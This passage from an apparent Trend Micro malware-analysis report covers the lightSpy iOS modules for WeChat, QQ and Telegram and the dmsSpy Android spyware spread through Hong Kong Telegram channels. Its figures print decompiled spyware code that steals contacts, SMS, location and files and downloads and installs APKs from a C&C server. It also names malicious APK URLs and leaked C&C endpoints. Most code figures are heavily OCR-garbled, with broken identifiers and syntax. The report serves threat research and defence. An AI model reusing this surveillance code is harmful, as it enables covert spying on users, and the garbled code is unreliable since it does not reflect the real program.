vl5 = objec_msgSend(v53, "country");

v45 = objc_retainAutoreleasedReturnValue(vl5);

v1l6 = objc_msgSend(v53, "province");

v1l7 = objc_retainAutoreleasedReturnValue(v1l6);

vad = v17;

vlg = obje_msgSend(v45, "stringByAppendingString:", v17);
v43 = objc_retainAutoreleasedReturnValue(vlig);

v19 = objc_msgSend(v53, "city");

v20 = objc_retainAutoreleasedReturnValue(v19);

va2 = v20;

v21l = obje_msgSend(v43, "stringByAppendingString:", v20);

location = objc retainAutoreleasedReturnvValue (v21) ]
objc_release(v42);

objc_release(v43);

objc_release(vid);

objc_release(vi5);

objc msgSend(v60, "setObject:forKey:", location, CFSTR("location"));
vdl v60;

v22 objc_msgSend(vSZ, "name");

v40 = objc_retainAutoreleasedReturnValue(v22);
objc_msgSend(v4l, "setObject:forKey:", v40, CFSTR('nickname"));
objc_release(v4i0);

v39 v60;

v23 objc_msgSend(v52, "alias");

v38 objc_retainAutoreleasedReturnValue(v23);
objc_msgSend(v39, "setObject:forKey:", v38, CFSTR("alias"));
objc_release(vig);

v37 v60;

v24 objc_msgSend(v52, "remark");

v36 objc_retainAutoreleasedReturnValue(v24);
objc_msgSend(v37, "setObject:forKey:", v36, CFSTR('remark"));
objc_release(v3i6);

objc_msgSend(v63, "addObject:", v60);

++v66->_hasRead;

Figure 84. Getting contacts’ information




WecChatFile

This module is mainly used to collect all the messages’ file path, which is similar to the WeChatMessage
module.

case Ox3lu:

vi5 = vI7;

v61l = (unsigned __int8)-[WeChatFile extractFileSuffix:fromContent:](
vo3,
"extractFileSuffix:fromContent:",
&v15,
vi8);

objc_storeStrong(&v77, v75);

if ( v6l & 1)

{
v49 = objc_ mgsand(v93->lupe: _accountHome, “stri ingPathC :", CFSTR("OpenData"));
v50 = objc_retai lue(vi9);
v60 = v50;
v51 = ohjc mgs.nd(vsn "stringBy ingP. ", vBT);
v59 = objc_retai lue(v51);
v52 = objo_ mgsanﬂ(iuadc nuss ____NSString, "stringWithFormat:", CFSTR("%d%@"), v80, v77);
v53 = obje_retai lue(v52);
v58 = v53;
v54 = objc_i mgsand(vss, "stri i C k:", v53);
v55 = objc_retai lue(v5d);
v56 = vi6;
v16 = v55;

objc_release(v56);
objc_release(v58);
objec_release(v59);
objc_release(v60);
}
break;
if ( v16 && (unsigned int)objc_msgSend(vE1l, "fileExistsAtPath:", v76) & 1)
v93->_hasRead = 1;
objc_t stnrestrong((xd ‘)iv93-> filePath, v76);
objc_msgSend(v84, “close”);

v94 = cbjec_retain(v93->_filePath);
vE8 = 1;

Figure 85. WeChatFile module

We shared our analysis with Tencent, which responded with the following: “This report by Trend Micro is
a great reminder of why it's important to keep the operating system on computers and mobile devices up
to date. The vulnerabilities documented in the report, which affected the Safari web browser in iOS 12.1
and 12.2, were fixed in subsequent updates to iOS.

A very tiny percentage of our WeChat and QQ users were still running the older versions of iOS that
contained the vulnerability. We have already issued a reminder to these users to update their devices to
the latest version of iOS as soon as possible.

Tencent takes data security extremely seriously and will continue to strive to ensure that our products and
services are built on robust, secure platforms designed to keep user data safe.”




3.13i10S QQ module (Command ID 25000)

The whole architecture of this module is nearly similar to that of the WeChat module.

switch ( v53->_cmdID )

unu 0x61A9:
35 = objc_msgSend (&0BJC_CLASS_ __ QQAccount, "alloc”);
vi4 = vd9;
v6 = objc_msgSend(v5l, objoctrorlay. . v49);
v3i3 = objc_retai lue(v6);
vl = -[QQGenerator hltllithmountundm:](vis, "initWithAccount:andHome:", v34, v33);
vE = location;
location = v7;

objc_rel e(v8);
objc_release(vii);
break;

case Ox61AA:
vi2 = objc_msgSend (&OBJC_CLASS___ QQContacts, “alloc”);
v3l = vad;
v9 = objc (v51, "obj y:", vi9);
vi0 = objc retai 1 lue(v9);
v10 = -[QQ initwi :]1(v32, "initWithAccount:andHome:", v31, v30);
vll = location;
locat = v10;
objc_;
obje_: nleu-e(uo);

e(vil);

i
case 0x61AB:
v29 = ohje _msgSend (40BJC_CLASS___ QQGroup, "alloc”);

v28 = v49
vi2 = ohje Il“.l‘(uh_ objcctrorl-y: . v49)y
v27 = objc_retai lue(vi2);
vil = -[QQ inlnﬂ t 1(v29, "initwithAccount:andHome:", v28, v27);

vl4 = locationj

case 0x61AC:
v26 objc msgSend (&0BJC_CLASS __ QQMessage, "alloc”);
v25 = v49
v15

=
- objc msgSend(v51, "objectForKey:
= objc_retai

- (nlnﬂ
location

v26, "initwWithAccount:andHome:", v25, v24);

case Ox61AD:
vl = objc msgSend (§0BJC_CLASS___ QQFile, “"alloc”);

obje -lqlcnd(«su, "objectForKey:", vé9);
objc_retai lue(vif);
(num : :](v23, "initWith ;and 1", v22, v21);

Figure 86. The iOS QQ module

The only difference here is the location of the information and its format.

v2 = +[Utils searchAppDataHome: ] (&0BJC_( cuu j___Utils, "searchAppDataHome:", CFSTR("com.tencent.mqq"));
v2):

va2 = obje_: Tue (
if (ve2 )
v3 = objc_t vaz, " i :", CPSTR(" ")
v40 = obje_: lue(v3);
v = objc_i d(vao, * :", CPSTR(" ")
v39 = obje. i lue(vé);
v5 = objc_i llgllml(ioldc CLASS__ NSFileManager, "defaultManager");
v38 = obje lue(v5);
v37 = obje_s uqs-nauonac CLASS___NSMutableDictionmary, “new");
v6 = objc_i ¥ serror:", v3i9, OLL);
v36 = obja_s lue(v6);

memset(v34, 0, sizeof(vii));
obj = objc_retain(v36);
v22 = objc_msgSend(cbi, " hi bject t:", v34, v58, 16LL);

Figure 87. Getting the targets’ QQ information




3.14 i0S Telegram module (Command ID 26000)

The whole architecture of this module is nearly similar to that of the WeChat module as well.

——rr——— =y
switch ( v48->_cmdID )

case 26001:
v30 = obje_: llgl-nd(IOBJC CLASS___ TelegramAccount, "alloc”);
v6 = objc_msgSend(vi6, "objectForKey:", vid);
v29 = obj ::_rataiuutorelea-adl!atumv:.lua (v6);
v7 = -[Teleg initwWith 1(v30, "initWithAccountHome:", v29);

v8 = location;

location = v7;
objeo_i releasa(vsjf
objc_release(v29);
break;

case 26002:
v28 = objc_lsgi.nd(iOBJc CLASS___TelegramContact, "alloc");
v9 = objc_msgSend(vi6, uhjeut!’nrley: , Vvad);
v27 = objc_retain. lue(v9);
v10 = —[Tel tor ini tHome:] (v28, "initWithAccountHome:", v27);
vll = location;
location = v10;
objec_release(vlil);
objec_release(vi7);
break;

case 26003:
v26 = obje_: Ilqﬂ.ﬂd(ioBJC CLASS relegrnnutonp, "alloc");
v12 = ebje_: nsgiond(vqs objectrorxey ;s vad);
v25 = objc_retain lue(vl2);
vll = =[Tel initWith t](v26, "initWithAccountHome:", v25);
vl4d = locationj
location = v13;
objc_release(vid);
objc_release(vi5);
break;

case 26004:
v24 = obje_t hsgﬂand(ionac CLASS mslagranuslllgas, "alloc");

v15 = ebje_s Ilgs.nd(v4s TobjectForKey:", vid);
v23 = objc_retain lue(v15);
vl6 = =[Tel initWith 1(v24, "initWithAccountHome:", v23);

v1l7 = location;
location = v16;
objc_release(v17);
objc_release(v2i);
break;
case 26005:
v22 = objec_1 ngiand(lold’t‘ CLASS, !l.'alagrn-.!'!.lal, "alloc");

v18 = objc llg!-nd(VQE, TobjectForKey:", vid);

vZl = objc_retai lue(vl8);

v1l9 = -[TelegramFiles 1nit"itlmccnuntllm:](v22, "initWithAccountHome:", v21);
v20 = location;

location = v19;
obje_release(vi0);
obje_release(vil);
break;

default:
break;

Figure 88. The iOS Telegram module
Like the QQ module, the difference here is the location of the information and its format.

To get the targets’ account info, it first locates the “Documents” directory. It then goes through the
“telegram-data” folder, then uses the regular expression “account-\\d+” to get the account list.

w2 = +[Utils searchAppSharedHome:)(&0BJC_CLASS__ Utils, "searchAppSharedHome:", CFSTR("group.ph.telegra.| T
vil = objc_retainAutoreleasedReturnValue(vZ);
Af ( w43’ )

vl = obje_s (va3, ".n-c ngPat :", CPSTR("tel data”"));

vil = nbjc retai lue(vi);

v4 = objc_t nsgﬂend(eusac CLASS___NSFil "defau ")

vi0 = obje_; retaimto“].e“edmum\'alue(vd]1

v3i9 = obje_t ugBuﬂ(iﬂBJC CLASS___NSMutableDictionary, "new");

w5 = ebje 0£D4 toryAtPath:error:"”, vil, OLL);
vig = obje_: ntnimtoﬂlnllaﬂnturnvnlm(v:),

memset(vi6, 0, sizeof(vi6));

obj = ebje_retain(vig);

v24 = objo_ obj, "countBy ingWithStateiobjectsicount:”, v36, v59, 16LL);
if ( w2a )
{

v23 = -( quunn *)v36[2]3

v22 =

v2l = vzq

while ( 1)

v20 = w22y

if ( (s gwuun *)v3i6[2] 1= v23 )
objo_enumerationMutation(cbi);

w37 = ¥(id *)(v3I6[1] + 8 * v2Z);

v6 = objc_retain(CPSTR("account-\\d+"));

v35 = vé;

vl = objc magSend (
&OBJC_CLASS, ___NSRegularExpression,
:egularzxp“luonvlithliltte:nzoptmnner:orl .
v6,
OLL,

LL) ;
wi4 = objec_retai 1 lua(v7);
v19 = v3d;
viB = v3T;
v8 = objc_msgSend{v37, "length")

Figure 89. Getting the target’'s account information

The other submodules are almost similar to the WeChat module.



Apple has been notified of this research through Trend Micro’s Zero Day Initiative (ZDI). We also reached
out to Telegram on our findings and have not received a response at the time of publication.

4 Android Malware dmsSpy
4.1 Distribution

While we were tracking the activity of the Operation Poisoned News campaign, we identified two URLs
linked to Android APK files with the domains they used. Both of the URLs were posted on public
Telegram channels used by users in Hong Kong in 2019. The messages were already deleted when we
checked the Telegram channels. However, we were able to find the text messages from the webpage of
the Telegram channel cached by the Google search engine.

One of the linked APKs was shared as an application for watching paid porn videos for free. The link was
already down when we checked it. For this one, we were not able to find the original APK file downloaded
from the link.

A/

=B '
BHMAR - MAAXRNER | RFMFIEH > £iE  SBREERMAR | BERARSIRERE  FBMEE
VIS TERE » HERE  BEEM > HERAR % BEEFTHE RS A ~ movie.poorgoddaay.com/MovieCal.a

pk EAAE : 1~ THZREapk
G 2 TREERETE M+ WEEA
Figure 90. Shared message on Telegram with APK linked to the infrastructure of Operation Poisoned News

Another APK link was disguised as a calendar application for checking the schedule of upcoming political
events in Hong Kong. Though the link was also down, we managed to find the original file downloaded
from it.

EBABRRAPP» LGN~~~
IRHERMEEREEHEY BB THESSHL » BRI REMHAndriodiRE -
http://app.hkrevolution.club/HKcalander.apk

Figure 91. A message on Telegram shared malicious APK of Operation Poisoned News




Calendar

Figure 92. Malicious APK disguised as a calendar

4.2 Behavior Analysis

The calendar application shown above requires many sensitive permissions such as READ_CONTACTS,
RECEIVE_SMS, READ_SMS, CALL_PHONE, ACCESS_LOCATION, and WRITE/READ
EXTERNAL_STORAGE.

When launched, it first collects device information such as device ID, brand, model, OS version, physical
location, and SDcard file list. It then sends the collected information back to the C&C server.

private final ect a( arg?) {
t v@ = new £();:
if(arg7 != null 8&& (arg7.exists()) && (arg7.isDirectory())) {

[] v7 = arg7.listFiles();

int vl = @;

if(v7 != null) {

}

else {
v7 = new [e];

}

int v2 = v7.length;
while(vl < v2) {
le v3 = v7[v1];
t vs = “file2";
if(v3.listFiles() == null) {
h.a(v3, v5);
v@.put(v3.getName(), this.a(v3));

else {
h.a(v3, v5);
vo.put(v3.getName(), this.a(v3));

++vl;
}
}

return ve;

Figure 93. Going through all files on SD card




private final com.simplemobiletools.calendar.pro.sms.g Locationstuff() {

Vil
V1= null;
com.simplemobiletools.calendar.pro.sms.g v@ = new com.simplemobiletools.calendar.pro.sms.g(vl, v1, 3, ((kotlin.d.b.f)v1));
if(b.CheckPermission((( )this), 4 i 1 T ) == @ 8& b.CheckPermission((( )this), i ION") == @) {
v2 = (( )this).getSystemService( ion");
if(v2 != null) {
v3 = (( )v2).getProviders(true).iterator();
va;
for(va = (( )V1); v3.hasNext(); v4 = vS) {
vs = (( )v2).getLastKnownLocation(v3.next());
if(v5 == null) {
continue;
}
if(va4 != null 88 v5.getAccuracy() >= va.getAccuracy()) {
continue;
8 }
if(va I= null) {
v2_1 = .valueOf(v4.getLatitude());
}
else {
v2 = vl;
}
ve.a( .valueof(v2));
if(va != null) {
vil = .valueof(v4.getLongitude());
}
ve.b( .valueof(vi_1));
}
else {
throw new TypeCastException( t t t t t t ager”);
}
}
return ve;

}
Figure 94. Getting the location information

It also steals contact and SMS information stored in the device. Furthermore, it registers a receiver that
monitors new incoming SMS messages and syncs messages with the C&C server in real-time.

if(h.a(v13, "android.provider.Telephony.SM IVED")) {
ile v13_2 = argld.getExtras();
if(v13_2 != null) {
try {
v13_1 = v13_2.get("pdus");
if(vi3_1 != null) {
v14 = new SmsMe ge[v13_1.length];
Ve = 9;
int vl = vi4.length;
while(true) {
label_16
if(ve < v1) {
byte[] v2 = v13_1[ve];
if(v2 != null) {
v14[ve@] = SmsMessage.createFromPdu(v2);
v2_1 = null;
v4 = null;
V5 = T3
ve = "";
v3 = vi4[ve];
goto label 26;
}
else {
goto e H
}

Figure 95. The SMS receiver

USSD Code ‘ Operator Description

*118*35# CUniq Check remaining credit and
expiry date

*#130# CMHK Check remaining credit and
expiry date

*109# hkesl Check main balance checking

#H#107# 3HK Check credit balance, mobile




number and expiry date

*111# hkcsl Password inquiry
Table 2. Trying to dial certain USSD codes to query the device’s SIM card information

t v@ = ((Activity)this).getSystemService("phone");
if(ve != null) {
try {

if(b.a(((Context)this), "android.permission.CALL_PHONE") != @) {
goto el _25;

}

if(Build$VERSION.SDK_INT >= 26) {
((Tele anager)ve).sendUssdRequest(argd, new Xa(this), new Handler());
return;

}

I t vOo_1 = new Intent("android.intent.action.CALL");

vo_1.setData(this.f(argd));

try {
((Activity)this).startActivity(ve_1);

}

Figure 96. Dialing USSD code

The app can perform an update by querying the C&C server to fetch the URL of the latest APK file, then
download and install it.

t vl = new St 4 ();
vl.append(n.h.c());
vl.append( devi lend

ve_1l = new (v1.tostring());

vl_1 = this.q;
Jd(va_a, juest url +ve_1);
t ve_2 = v@_l.openConnection();

if(ve_2 != null) {

((Htt )ve_2).setReadTimeout(30000);

((Htt t )ve_2).setConnectTimeout(3eeee);

((Htt )ve_2).connect();

if((( ion)ve_2).getResponseCode() == 200) {
e.a(new (new t (((Htt )ve_2).getInputStream())), new b(v5));
goto H

}

vS.a = "r ¢ € + (( )ve_2).getResponseCode();

goto 3

Figure 97. Getting the latest APK file URL

private final void b( arg3) {
t v@ = new tent();
vo.setAction("android.intent.action.VIEW");
v@.setDataAndType( .fromFile(arg3), pplicatior i.android.packag rchi );
((Act ty)this).startActivity(ve);
}

Figure 98. Installing the APK file

While checking the communication between the C&C server and the APK malware, we noticed that the
server did not disable the debug mode of the web framework, which allowed us to see the list of APIs
used for C&C communication. Some of the APIs have been used in the malicious calendar application.
We suspect that the attacker is still improving the payload to improve its capabilities.



One of the APIs, called “screen_shot,” implies that it may be able to get the screenshot of the device.
Another API of install_apk hints that the attackers would also have the capability to install the additional
APK file to infected devices.

Using the URLcenf defined in xxadmin.urls, Django tried these URL pattemns, in this order:

. admin/

. “auth/

. “dms/ “index$ [name='dms_index']

. *dms/ “device/list% [name='dms_device list']

. “dms/ “device/list_sms$ [name='dms_list_sms']

. “dms/ “device/1list_contact$ [name='dms_list_contact']

. “dms/ “device/list_device$ [name="dms_list_device']

. “dms/ “device/create_sms% [name='dms_create_sms']

. *dms/ “device/cmd$ [name='dms_cmd"]

18. *dms/ “device/cmd/list$ [name='dms_list_cmd']

11. “dms/ “device/cmd/send_event$ [name='getui_send_event']

12. ~dms/ “device/cmd/event/list$ [name='list_event']

13. ~dms/ “device/cmd/event/create$ [name='create_event']

14. ~dms/ “device/cmd/event/detail$ [name="event_detail']

15. “dms/ “device/cmd/event/sync$ [name='sync_event']

16. “dms/ “device/cmd/event/push_event_to_all% [name='push_event_to_all']
17. “dms/ “device/cmd/event/push$ [name='manual_push_event']

18. ~dms/ “device/create_contact$ [name='dms_create_contact']

19. “dms/ “device/update_device$ [name='dms_update_device']

28. “dms/ “device/install_apk® [name="install_apk']

21. *dms/ “device/screen_shotd [name="screen_shot']

22. ~dms/ “device/calendar_app/list$% [name='dms_calendar_app_list"]
23. ~dms/ “device/calendar_app/create® [name='dms_calendar_app_create’]
24. *dms/ “device/calendar_spp/latest$ [name='dms_calendar_app_latest"]
25. *% [name="pla_index']

26. “static/(?P<path>.*)$ [name="static']

The current path, dms /device/, didn't match any of these.

[F I R B TR

Figure 99. The debug message leaked the APIs of the C&C server

Not only is the malicious APK downloaded from a server hosted with the domain used by Operation
Poisoned News, but the C&C domain also overlaps with the domain they used to host the malicious news
page for the watering hole attack. For that reason, we believe that the APK malware is operated by the
same campaign.




5 Appendix
MITRE ATT&CK Matrix™
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Indicators of Compromise (loCs)

Indicator
d5239210a9bc0383f569e9ca095fe8
bdfb9a482bc0c77c8658fcech23b8a2
6bc

Filename
payload.dylib
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lightSpy hash

Trend Micro Detection
IOS_LightSpy.A
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abe805f830009cf58185757372f9036
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